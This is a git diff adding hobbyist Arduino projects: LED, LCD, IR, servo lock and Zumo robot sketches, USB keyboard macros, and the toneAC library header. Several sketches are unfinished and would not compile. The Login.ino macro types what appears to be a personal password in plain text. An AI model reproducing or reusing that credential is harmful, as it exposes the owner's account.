MAGENTA, WHITE, BLACK}; + +void setup(){ + for(int i = 0; i < 3; i++){ + pinMode(ledDigitalOne[i], OUTPUT); //Set the three LED pins as outputs + } +} + +void loop(){ + +/* Example - 1 Set a color + Set the three LEDs to any predefined color +*/ + setColor(ledDigitalOne, RED); //Set the color of LED one + + +/* Example - 2 Go through Random Colors + Set the LEDs to a random color +*/ + randomColor(); + +} + +void randomColor(){ + int rand = random(0, sizeof(COLORS) / 2); //get a random number within the range of colors + setColor(ledDigitalOne, COLORS[rand]); //Set the color of led one to a random color + delay(1000); +} + +/* Sets an led to any color + led - a three element array defining the three color pins (led[0] = redPin, led[1] = greenPin, led[2] = bluePin) + color - a three element boolean array (color[0] = red value (LOW = on, HIGH = off), color[1] = green value, color[2] =blue value) +*/ +void setColor(int* led, boolean* color){ + for(int i = 0; i < 3; i++){ + digitalWrite(led[i], color[i]); + } +} + +/* A version of setColor that allows for using const boolean colors +*/ +void setColor(int* led, const boolean* color){ + boolean tempColor[] = {color[0], color[1], color[2]}; + setColor(led, tempColor); +} diff --git a/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino new file mode 100644 index 0000000..75ccb5a --- /dev/null +++ b/Projects/I2C_20x4_Test/I2C_20x4_Test/I2C_20x4_Test.ino @@ -0,0 +1,39 @@ +#include +#include + +#define I2C_ADDR 0x3F +#define En_pin 2 +#define Rw_pin 5 +#define Rs_pin 4 +#define D4_pin 0 +#define D5_pin 1 +#define D6_pin 6 +#define D7_pin 7 +#define BACKLIGHT_PIN 3 + +LiquidCrystal_I2C lcd(I2C_ADDR, En_pin, Rw_pin, Rs_pin, + D4_pin, D5_pin, D6_pin, D7_pin); + +void setup() { + Serial.begin(9600); + lcd.begin (20, 4); + + // Switch on the backlight + lcd.setBacklightPin(BACKLIGHT_PIN, POSITIVE); + lcd.setBacklight(HIGH); + + // Position cursor and write some text + lcd.print("Poop in face"); +} + +void loop() { + if (Serial.available()) { + lcd.clear(); + lcd.home(); + while(Serial.available() > 0) { + lcd.print(Serial.read()); + delay(1000); + } + } + +} diff --git a/Projects/IR_LightSwitch/IR_LightSwitch.ino b/Projects/IR_LightSwitch/IR_LightSwitch.ino new file mode 100755 index 0000000..dbc5661 --- /dev/null +++ b/Projects/IR_LightSwitch/IR_LightSwitch.ino @@ -0,0 +1,92 @@ +#include +#include + +Servo myservo; +int pos = 0; +int RECV_PIN = 11; +IRrecv irrecv(RECV_PIN); +decode_results results; +unsigned long CurrentValue = 0; +unsigned long StoredCode = 0; +const int buttonPin = 6; // the number of the pushbutton pin +const int ledPin = 4; // the number of the LED pin +const int outputPin = 3; // the number of the output LED pin +const int relayPin = 2; // the number of the relay pin +int buttonState = 0; // variable for reading the pushbutton status +int RecordState = 0; //is the reciever in record mode +int outputState = 1; //is the output on or off + +void setup() +{ + Serial.begin(9600); + myservo.attach(9); + irrecv.enableIRIn(); // Start the receiver + + // initialize the LED pin as an output: + pinMode(ledPin, OUTPUT); + // initialize the pushbutton pin as an input: + pinMode(outputPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + pinMode(relayPin, OUTPUT); + // initialize the pushbutton pin as an input: pinMode(buttonPin, INPUT); + +} + + +void loop() { + + // read the state of the pushbutton value: +buttonState = digitalRead(buttonPin); + + // if a signal is detected, store the value +if (irrecv.decode(&results)) { + CurrentValue = (results.value); + + // if the recieved value equals the programed value, then toggle the output state + if(CurrentValue == StoredCode) { + outputState = 1; + } + + // if the record mode is activated store the current value as the programed value + if (RecordState == 1) { + StoredCode = CurrentValue; + RecordState = 0; + digitalWrite(ledPin, LOW); + Serial.println(StoredCode); //displays stored code for reference + } + + // Receive the next value + irrecv.resume(); +} + +else //if no signal is detected, then the current value is 0 +{ + CurrentValue = 0; +} + + // check if the record button is pressed. + // if it is, the buttonState is HIGH: +if (buttonState == HIGH) { + + //wait for the button to be released + while (buttonState == HIGH) { + buttonState = digitalRead(buttonPin); + } + + //turn on the LED to indicate that record mode is on + digitalWrite(ledPin, HIGH); + RecordState = 1; +} + + //set the appropriate output state +if(outputState == 1) { + + digitalWrite(outputPin, HIGH); + myservo.write(180); + delay(1000); + myservo.write(150); + digitalWrite(outputPin, LOW); + outputState = 0; +} + +} diff --git a/Projects/Keyboard/Login/Login.ino b/Projects/Keyboard/Login/Login.ino new file mode 100755 index 0000000..7e56d83 --- /dev/null +++ b/Projects/Keyboard/Login/Login.ino @@ -0,0 +1,22 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.write((char) 0xB0); + delay(500); + Keyboard.print("Kevinojm"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/Open_Program/Open_Program.ino b/Projects/Keyboard/Open_Program/Open_Program.ino new file mode 100755 index 0000000..a435bf2 --- /dev/null +++ b/Projects/Keyboard/Open_Program/Open_Program.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + Keyboard.print("Photoshop"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Keyboard/Sleep/Sleep.ino b/Projects/Keyboard/Sleep/Sleep.ino new file mode 100755 index 0000000..2064ccc --- /dev/null +++ b/Projects/Keyboard/Sleep/Sleep.ino @@ -0,0 +1,24 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Sleep"); + Keyboard.write((char) 0xB0); + delay(500); + } + } + diff --git a/Projects/Keyboard/ping/ping.ino b/Projects/Keyboard/ping/ping.ino new file mode 100755 index 0000000..5b1d310 --- /dev/null +++ b/Projects/Keyboard/ping/ping.ino @@ -0,0 +1,28 @@ + const int buttonPin = 4; + int buttonState = LOW; + + void setup() + { + pinMode(buttonPin, LOW); + Keyboard.begin(); + } + + void loop() + { + int buttonState = digitalRead(buttonPin); + if (buttonState == HIGH) + { + Keyboard.press((char) 0x80); + Keyboard.press((char) 0x20); + Keyboard.releaseAll(); + delay(100); + Keyboard.print("Terminal"); + Keyboard.write((char) 0xB0); + delay(600); + Keyboard.print("ping google.com"); + Keyboard.write((char) 0xB0); + Keyboard.releaseAll(); + delay(500); + } + } + diff --git a/Projects/Lock/Lock.ino b/Projects/Lock/Lock.ino new file mode 100755 index 0000000..1d6efec --- /dev/null +++ b/Projects/Lock/Lock.ino @@ -0,0 +1,104 @@ +// Keypad_Lock.ino +#include +#include + +// Output +int led = 2; + +// Input +char passphrase[] = {'1', '2', '3', '4'}; +int pass_length = sizeof(passphrase); +bool locked = true; +int i = 0; +int angle = 0; + +const byte rows = 4; +const byte cols = 3; +char keys[rows][cols] = { + {'1', '2', '3'}, + {'4', '5', '6'}, + {'7', '8', '9'}, + {'*', '0', '#'} +}; + +byte rowPins[rows] = {9, 8, 7, 6}; +byte colPins[cols] = {5, 4, 3}; + +Servo myservo; +Keypad keypad = Keypad(makeKeymap(keys), rowPins, colPins, rows, cols); + +void unlock() { + locked = false; + + for(int i=0; i<5; i++) { + digitalWrite(led, HIGH); + delay(250); + digitalWrite(led, LOW); + delay(250); + } + + myservo.write(160); +} + +void lock() { + locked = true; + i = 0; + + myservo.write(40); +} + +void correct_entry() { + i++; + + if (i!=pass_length) { + //digitalWrite(led, HIGH); + //delay(250); + //digitalWrite(led, LOW); + } + else { + unlock(); + } +} + +void setup() { + Serial.begin(9600); + + // Output + pinMode(led, OUTPUT); + myservo.attach(10, 0, 2000); +} + +void loop() { + char key = keypad.getKey(); + + if (key) { + // Debug + Serial.print(key); + Serial.println(passphrase[i]); + + // key_pressed(); + + if (locked==false) { + if (key=='*') { + lock(); + } + } + else { + if (i==0) { + if (key==passphrase[i]) { + correct_entry(); + } + } + else if (i>0) { + if (key==passphrase[i]) { + correct_entry(); + } + else { + i=0; + } + } + } + } +} + + diff --git a/Projects/ProgLab/Instrument/Instrument.ino b/Projects/ProgLab/Instrument/Instrument.ino new file mode 100644 index 0000000..71287f5 --- /dev/null +++ b/Projects/ProgLab/Instrument/Instrument.ino @@ -0,0 +1,25 @@ +#include + +Servo myservo; + +int potpin = 0; +int potReading; +int photocellPin = 1; +int photocellReading; + +void setup() +{ + myservo.attach(9); +} + +void loop() +{ + potReading = analogRead(potpin); + potReading = map(potReading, 0, 1023, 0, 179); + myservo.write(potReading); + photocellReading = analogRead(photocellPin); + + int thisPitch = map(photocellReading, 1, 1000, 120, 1500); + tone(8, thisPitch, 10); + delay(1); +} diff --git a/Projects/ProgLab/Instrument2/Instrument2.ino b/Projects/ProgLab/Instrument2/Instrument2.ino new file mode 100644 index 0000000..8b13789 --- /dev/null +++ b/Projects/ProgLab/Instrument2/Instrument2.ino @@ -0,0 +1 @@ + diff --git a/Projects/ProgLab/LineFollow/LineFollow.ino b/Projects/ProgLab/LineFollow/LineFollow.ino new file mode 100644 index 0000000..09c82dc --- /dev/null +++ b/Projects/ProgLab/LineFollow/LineFollow.ino @@ -0,0 +1,107 @@ +#include +#include +#include +#include +#include +#include + + +/* + * Demo line-following code for the Pololu Zumo Robot + * + * This code will follow a black line on a white background, using a + * PID-based algorithm. It works decently on courses with smooth, 6" + * radius curves and has been tested with Zumos using 30:1 HP and + * 75:1 HP motors. Modifications might be required for it to work + * well on different courses or with different motors. + * + * http://www.pololu.com/catalog/product/2506 + * http://www.pololu.com + * http://forum.pololu.com +*/ + + +ZumoReflectanceSensorArray reflectanceSensors; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +// This is the maximum speed the motors will be allowed to turn. +// (400 lets the motors go at top speed; decrease to impose a speed limit) +const int MAX_SPEED = 400; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + + +void setup() +{ + + reflectanceSensors.init(); + button.waitForButton(); // wait to start calibration + + // Turn on LED to indicate we are in calibration mode + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + + // Wait 1 second and then begin automatic sensor calibration + // by rotating in place to sweep the sensors over the line + delay(1000); + int i; + for(i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0,0); + + // Turn off LED to indicate we are through with calibration + digitalWrite(13, LOW); + + // Wait for the user button to be pressed and released + button.waitForButton(); +} + +void loop() +{ + unsigned int sensors[6]; + + int pv = reflectanceSensors.readLine(sensors); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + // Here we constrain our motor speeds to be between 0 and MAX_SPEED. + // Generally speaking, one motor will always be turning at MAX_SPEED + // and the other will be at MAX_SPEED-|speedDifference| if that is positive, + // else it will be stationary. For some applications, you might want to + // allow the motor speed to go negative so that it can spin in reverse. + if (m1Speed < 0) + m1Speed = 0; + if (m2Speed < 0) + m2Speed = 0; + if (m1Speed > MAX_SPEED) + m1Speed = MAX_SPEED; + if (m2Speed > MAX_SPEED) + m2Speed = MAX_SPEED; + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/LineFollower/LineFollower.ino b/Projects/ProgLab/LineFollower/LineFollower.ino new file mode 100644 index 0000000..f6696fc --- /dev/null +++ b/Projects/ProgLab/LineFollower/LineFollower.ino @@ -0,0 +1,53 @@ +#include +#include +#include +#include +#include +#include + +#define driveSpeed 150 +#define lightThreshold 800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectanceSensors; + +void setup() +{ + reflectanceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectanceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(); + } +} + +void turnLeft() +{ + motors.setSpeeds(-driveSpeed, -300); + delay(400); +} +void turnRight() +{ + motors.setSpeeds(-300, -driveSpeed); + delay(400); +} + +void loop() +{ + findLine(); + motors.setSpeeds(driveSpeed, driveSpeed); +} + + diff --git a/Projects/ProgLab/Lyskryss/Lyskryss.ino b/Projects/ProgLab/Lyskryss/Lyskryss.ino new file mode 100644 index 0000000..58169e5 --- /dev/null +++ b/Projects/ProgLab/Lyskryss/Lyskryss.ino @@ -0,0 +1,57 @@ +#include +#include + +#define Trigger_Pin 12 +#define Echo_Pin 11 +#define Max_Distance 200 + +// Green car - 10 +// Yellow car - 9 +// Red car - 8 +// Green person - 7 +// Red person - 6 +// ECHO 11 & 12 + + +NewPing sonar(Trigger_Pin, Echo_Pin, Max_Distance); + +Servo gateServo; +int servoPos = 0; + +int lightPinArray[] = { + 10, 9, 9, 8, 7, 6, 6, 7, 9, 8, 9}; +boolean lightStateArray[] = { + LOW, HIGH, LOW, HIGH, LOW, HIGH, LOW, HIGH, HIGH, LOW, LOW}; +int lightDelayArray[] = { + 1000, 0, 500, 0, 500, 0, 2000, 0, 500, 500, 0}; + +void setup() +{ + for (int i = 0; i < 5; i++) + { + pinMode(i + 6, OUTPUT); + } + gateServo.attach(4); +} + +void personDetected() +{ + for(int i = 0; i < 12; i++) + { + delay(lightDelayArray[i]); + digitalWrite(lightPinArray[i], lightStateArray[i]); + } + +void loop() +{ + unsigned int uS = sonar.ping(); + if ((uS /US_ROUNDTRIP_CM) < 5 && uS /US_ROUNDTRIP_CM > 1) + { + personDetected(); + } + else + { + digitalWrite(7, HIGH); + digitalWrite(10, HIGH); + } +} diff --git a/Projects/ProgLab/Lyskryss/data/plab-library-master.zip b/Projects/ProgLab/Lyskryss/data/plab-library-master.zip new file mode 100644 index 0000000000000000000000000000000000000000..e308bf9144c5256610aab88e8d93080ac034b6f6 GIT binary patch literal 1374 zcmWIWW@h1H0D;>DMs8pRln`OyWGKiVwJ;L{gC;8jgAxv{0j0$mPNgL!`FVQD1qE<}N`r4_NgE2(-d{iCm_S*l z=Ow53q?imnlg4X&xlZz4nww0&t-9DJ7W-z#qx$tr_EuakJ8UK!#V;)m zolHMFSD|#?e3fRgni94BW!JR0DvTcN5NIi=F1M|ncjwN*cJGF6?iok54-_twIUC5Y z7@n;mk-NYkAyiuO(DBU-oXqDe)Sj|=b*7kmZkoJn*R8+)tdSb5sVDcdJm~+={-=aKs?zp=q2_v-nm-NrwzgiUhv zkh-g$%ILW>m2ct%V`kNEPwQ*PZ%eJcEK<77Q)RVy1p6tj#Ir45=WN?KRpgv#p)pJ6 zwTgX?+-ApDEV*y?@b&AA@?t>3$sW<>vAWKyxB=KqJM|8|u0$Xw5RmgK+3 zSdabH+=unoL#3`R6N@-=Na@-(_fm}s6B|!{S^51|uC0fC0JqwC@3-ZCK~eEPRXZNP ze!p;j_v|&RlIokkeQ{>g?@%?k(C2YMC?}?L>kE@xEmJ+yyndPo<>$8S49#A3ec7xV z-*y&W?3?(iV*b^a4`v@Z_QW|&xbwL38Z`E;)npOQiu(?96S=hqJX`{ywc< zP+hzE#cTar883G-YDREOZBu*3#vQP2n#al+=}tZyRhFK<_$O9%na_kTmQTX8d_ttu zzWceV%nlP){5Q+|_SMU`A6K3J%(#i?)4^?4R%M(a-x#(o;mhKG^CHAEq41{i7lGO- z$4V|p_%0M)WN_*CMBa}Ft9hgEe9V=(-Lt)g?Pb!>=nP%0j^0NtY3@^^Pd5sjzj=fC z@ABTu^A0ERq~DPZe#8CuC9g$JWO>1b{<|OVERGU4v1eb)a&IwzdjI5GD`vmez4f9t z;jEzkqT)G+IHbL+AGkOjn04{_q{G*jZ1}?%;LQjOdECVWq{I+_790c$4VY2biw#5x zWDR6uGYUr`f^Z|mVDvPDFnBu9F9Zxmq@VzARyL4UW+40xq*YlM7&I6xlaefx&CL@N jQw&qgQ%ww#4U)~063tB0j1AI~j11GvQ!Fe@jgpc8cIqb; literal 0 HcmV?d00001 diff --git a/Projects/ProgLab/Zumo_1/Zumo_1.ino b/Projects/ProgLab/Zumo_1/Zumo_1.ino new file mode 100644 index 0000000..a7302ac --- /dev/null +++ b/Projects/ProgLab/Zumo_1/Zumo_1.ino @@ -0,0 +1,89 @@ +#include +#include +#include +#include +#include +#include + +ZumoReflectanceSensorArray reflectanceSensors; +unsigned int sensor_values[6]; +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +int lastError = 0; + +const int MAX_SPEED = 800; +// Set constants for PID control +const float KP = 0.5; // Proportional constant +const float KD = 6; // Derivative constant +const int SV = 2500; // Set-value for position (in the middle of sensors) + +unsigned long Timer; //"ALWAYS use unsigned long for timers, not int" + +void setup() +{ + Serial.begin(9600); + reflectanceSensors.init(); + pinMode(13, OUTPUT); + digitalWrite(13, HIGH); + button.waitForButton(); + for(int i = 0; i < 80; i++) + { + if ((i > 10 && i <= 30) || (i > 50 && i <= 70)) + motors.setSpeeds(-200, 200); + else + motors.setSpeeds(200, -200); + + reflectanceSensors.calibrate(); + + // Since our counter runs to 80, the total delay will be + // 80*20 = 1600 ms. + delay(20); + } + motors.setSpeeds(0, 0); + button.waitForButton(); + + digitalWrite(13, LOW); +} + +void loop() +{ + reflectanceSensors.read(sensor_values); + if (sensor_values[5] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(-100, 100); + delay(1000); + } + else if (sensor_values[0] < 1800) + { + motors.setSpeeds(-100, -100); + delay(1000); + motors.setSpeeds(100, -100); + delay(1000); + } + else + { + motors.setSpeeds(100, 100); + } + + int pv = reflectanceSensors.readLine(sensor_values); + // Our "error" is how far we are away from the center of the line, which + // corresponds to position 2500. + int error = pv - SV; + // do PD computation ( Integral is not used) + int speedDifference = KP*error + KD * (error - lastError); + + + //Serial.println(error); + lastError = error; + + // Get individual motor speeds. The sign of speedDifference + // determines if the robot turns left or right. + int m1Speed = MAX_SPEED + speedDifference; + int m2Speed = MAX_SPEED - speedDifference; + + + + motors.setSpeeds(m1Speed, m2Speed); +} diff --git a/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino new file mode 100644 index 0000000..0f218e7 --- /dev/null +++ b/Projects/ProgLab/Zumo_2.0/Zumo_2.0.ino @@ -0,0 +1,54 @@ +#include +#include +#include +#include +#include +#include + +#define maxSpeed 400 +#define reverseSpeed 400 +#define lightThreshold 1800 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); +unsigned int sensorValues[6]; +ZumoReflectanceSensorArray reflectaneceSensors; + +void setup() +{ + reflectaneceSensors.init(); + motors.setSpeeds(0,0); + button.waitForButton(); +} + +void findLine() +{ + reflectaneceSensors.read(sensorValues); + if (sensorValues[0] > lightThreshold) + { + turnLeft(1000); + } + else if (sensorValues[5] > lightThreshold) + { + turnRight(1000); + } +} + +void turnLeft(int delayTime) +{ + motors.setSpeeds(0, 200); + delay(delayTime); +} +void turnRight(int delayTime) +{ + motors.setSpeeds(200, 0); + delay(delayTime); +} + +void loop() +{ + findLine(); + motors.setSpeeds(200, 200); +} + + diff --git a/Projects/ProgLab/Zumo_2/Zumo_2.ino b/Projects/ProgLab/Zumo_2/Zumo_2.ino new file mode 100644 index 0000000..62cd1f2 --- /dev/null +++ b/Projects/ProgLab/Zumo_2/Zumo_2.ino @@ -0,0 +1,81 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 200 +#define turnSpeed 200 +#define forwardSpeed 100 +#define revDuration 200 +#define turnDuration 500 +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +const int echoPin1 = 2; +const int echoPin2 = 4; +const int triggerPin1 = 3; +const int triggerPin2 = 5; +const int maxDistance = 40; + +NewPing sonar1(triggerPin1, echoPin1, maxDistance); +NewPing sonar2(triggerPin2, echoPin2, maxDistance); + +void setup() +{ + Serial.begin(9600); + sensors.init(); + button.waitForButton(); +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); + motors.setSpeeds(forwardSpeed, forwardSpeed); +} + +void loop() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThresHold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + } + } + + unsigned int time = sonar1.ping(); + if ( + + // If haven't done anything, go forward + motors.setSpeeds(forwardSpeed, forwardSpeed); +} diff --git a/Projects/ProgLab/Zumo__/Zumo__.ino b/Projects/ProgLab/Zumo__/Zumo__.ino new file mode 100644 index 0000000..aba1ad2 --- /dev/null +++ b/Projects/ProgLab/Zumo__/Zumo__.ino @@ -0,0 +1,128 @@ +/* +Drive forward and turn left or right when border is detected + - Only reflectionsensor 0 and 5 are used. +*/ +#include +#include +#include +#include +#include + +#define LED 13 + +// this might need to be tuned for different lighting conditions, surfaces, etc. +#define lightThreshold 1800 // + +#define reverseSpeed 400 +#define turnSpeed 400 +#define forwardSpeed 400 +#define revDuration 300 +#define turnDuration 200 +#define triggerPin 3 +#define echoPin 2 +#define maxDistance 200 + +ZumoMotors motors; +Pushbutton button(ZUMO_BUTTON); // pushbutton on pin 12 +#define NUM_SENSORS 6 +unsigned int sensor_values[NUM_SENSORS]; +ZumoReflectanceSensorArray sensors; + +NewPing sonar(triggerPin, echoPin, maxDistance); + +unsigned int pingSpeed = 100; +unsigned long pingTimer; + +void setup() +{ + Serial.begin(115200); + sensors.init(); + pingTimer = millis(); + //button.waitForButton(); +} + +boolean findLine() +{ + sensors.read(sensor_values); + if (sensor_values[0] < lightThreshold || sensor_values[5] < lightThreshold) + { + if (sensor_values[0] < lightThreshold) + { + turnLeft(); + return true; + } + else if (sensor_values[5] < lightThreshold) + { + turnRight(); + return true; + } + } + return false; +} + +void turnLeft() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(turnSpeed, -turnSpeed); + delay(turnDuration); +} + +void turnRight() +{ + motors.setSpeeds(-reverseSpeed, -reverseSpeed); + delay(revDuration); + motors.setSpeeds(-turnSpeed, turnSpeed); + delay(turnDuration); +} +/* +void search() +{ + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + else + { + motors.setSpeeds(400, 400); + delay(20); + time = sonar.ping(); + distance = sonar.convert_cm(time); + if (distance < 40) + motors.setSpeeds(310, 400); + } +}*/ + +void echoCheck() +{ + if (sonar.check_timer()) + { + if (sonar.ping_result / US_ROUNDTRIP_CM < 20) + { + Serial.println(sonar.ping_result / US_ROUNDTRIP_CM); + motors.setSpeeds(310, 400); + } + else + { + Serial.println("Nothing here!"); + motors.setSpeeds(400, 400); + delay(20); + } + } +} + +void scan() +{ + // Init at start, find the target. +} + +void loop() +{ + findLine(); + motors.setSpeeds(310, 400); + if (millis() >= pingTimer) + { + pingTimer += pingSpeed; + sonar.ping_timer(echoCheck); + } +} diff --git a/Projects/ProgLab/toneAC.h/toneAC.h b/Projects/ProgLab/toneAC.h/toneAC.h new file mode 100644 index 0000000..6eb2d17 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h @@ -0,0 +1,221 @@ +// --------------------------------------------------------------------------- + +// toneAC Library - v1.2 - 01/27/2013 + +// + +// AUTHOR/LICENSE: + +// Created by Tim Eckel - teckel@leethost.com + +// Copyright 2013 License: GNU GPL v3 http://www.gnu.org/licenses/gpl-3.0.html + +// + +// LINKS: + +// Project home: http://code.google.com/p/arduino-tone-ac/ + +// Blog: http://arduino.cc/forum/index.php/topic,142097.msg1066968.html + +// + +// DISCLAIMER: + +// This software is furnished "as is", without technical support, and with no + +// warranty, express or implied, as to its usefulness for any purpose. + +// + +// PURPOSE: + +// Replacement to the standard tone library with the advantage of nearly twice + +// the volume, higher frequencies (even if running at a lower clock speed), + +// higher quality (less clicking), nearly 1.5k smaller compiled code and less + +// stress on the speaker. Disadvantages are that it must use certain pins and + +// it uses two pins instead of one. But, if you're flexible with your pin + +// choices, this is a great upgrade. It also uses timer 1 instead of timer 2, + +// which may free up a conflict you have with the tone library. It exclusively + +// uses port registers for the fastest and smallest code possible. + +// + +// USAGE: + +// Connection is very similar to a piezo or standard speaker. Except, instead + +// of connecting one speaker wire to ground you connect both speaker wires to + +// Arduino pins. The pins you connect to are specific, as toneAC lets the + +// ATmega microcontroller do all the pin timing and switching. This is + +// important due to the high switching speed possible with toneAC and to make + +// sure the pins are alyways perfectly out of phase with each other + +// (push/pull). See the below CONNECTION section for which pins to use for + +// different Arduinos. Just as usual when connecting a speaker, make sure you + +// add an inline 100 ohm resistor between one of the pins and the speaker wire. + +// + +// CONNECTION: + +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. + +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega + +// Pins 12 & 13 - ATmega1284P, ATmega644 + +// Pins 14 & 15 - Teensy 2.0 + +// Pins 25 & 26 - Teensy++ 2.0 + +// + +// SYNTAX: + +// toneAC( frequency [, volume [, length [, background ]]] ) - Play a note. + +// Parameters: + +// * frequency - Play the specified frequency indefinitely, turn off with toneAC(). + +// * volume - [optional] Set a volume level. (default: 10, range: 0 to 10 [0 = off]) + +// * length - [optional] Set the length to play in milliseconds. (default: 0 [forever], range: 0 to 2^32-1) + +// * background - [optional] Play note in background or pause till finished? (default: false, values: true/false) + +// toneAC() - Stop playing. + +// noToneAC() - Same as toneAC(). + +// + +// HISTORY: + +// 01/27/2013 v1.2 - Fixed a counter error which went "over the top" and caused + +// periods of silence (thanks Krodal). For advanced users needing tight code, + +// the TONEAC_TINY switch in toneAC.h activates a version of toneAC() that + +// saves 110 bytes. With TONEAC_TINY, the syntax is toneAC(frequency, length) + +// while playing the note at full volume forever in the background. Added + +// support for the ATmega 640, 644, 1281, 1284P and 2561 microcontrollers. + +// + +// 01/16/2013 v1.1 - Option to play notes in background, returning control back + +// to your sketch for processing while note plays (similar to the way the tone + +// library works). Volume is now linear and in the range from 0-10. Now uses + +// prescaler 256 instead of 64 for frequencies below 122 Hz so it can go down + +// to 1 Hz no matter what speed the CPU is clocked at (helpful if using toneAC + +// to control a two-pin dual LED). + +// + +// 01/11/2013 v1.0 - Initial release. + +// + +// --------------------------------------------------------------------------- + + + +#ifndef toneAC_h + + #define toneAC_h + + + + #if defined(ARDUINO) && ARDUINO >= 100 + + #include + + #else + + #include + + #endif + + + + //#define TONEAC_TINY // Uncomment to use alternate function toneAC(frequency, length) that saves 110 bytes. + + + + #if defined (__AVR_ATmega32U4__) || defined(__AVR_ATmega640__) || defined(__AVR_ATmega1280__) || defined(__AVR_ATmega1281__) || defined(__AVR_ATmega2560__) || defined(__AVR_ATmega2561__) + + #define PWMT1AMASK DDB5 + + #define PWMT1BMASK DDB6 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #elif defined(__AVR_ATmega1284P__) || defined(__AVR_ATmega644__) || defined(__AVR_ATmega644P__) + + #define PWMT1AMASK DDD4 + + #define PWMT1BMASK DDD5 + + #define PWMT1DREG DDRD + + #define PWMT1PORT PORTD + + #else + + #define PWMT1AMASK DDB1 + + #define PWMT1BMASK DDB2 + + #define PWMT1DREG DDRB + + #define PWMT1PORT PORTB + + #endif + + + + #if defined(__AVR_ATmega8__) || defined(__AVR_ATmega128__) + + #define TIMSK1 TIMSK + + #endif + + + + #ifndef TONEAC_TINY + + void toneAC(unsigned long frequency = 0, uint8_t volume = 10, unsigned long length = 0, uint8_t background = false); + + #else + + void toneAC(unsigned long frequency = 0, unsigned long length = 0); + + #endif + + void noToneAC(); + +#endif diff --git a/Projects/ProgLab/toneAC.h/toneAC.h.ino b/Projects/ProgLab/toneAC.h/toneAC.h.ino new file mode 100644 index 0000000..3eb89d4 --- /dev/null +++ b/Projects/ProgLab/toneAC.h/toneAC.h.ino @@ -0,0 +1,35 @@ +// --------------------------------------------------------------------------- +// Connect your piezo buzzer (without internal oscillator) or speaker to these pins: +// Pins 9 & 10 - ATmega328, ATmega128, ATmega640, ATmega8, Uno, Leonardo, etc. +// Pins 11 & 12 - ATmega2560/2561, ATmega1280/1281, Mega 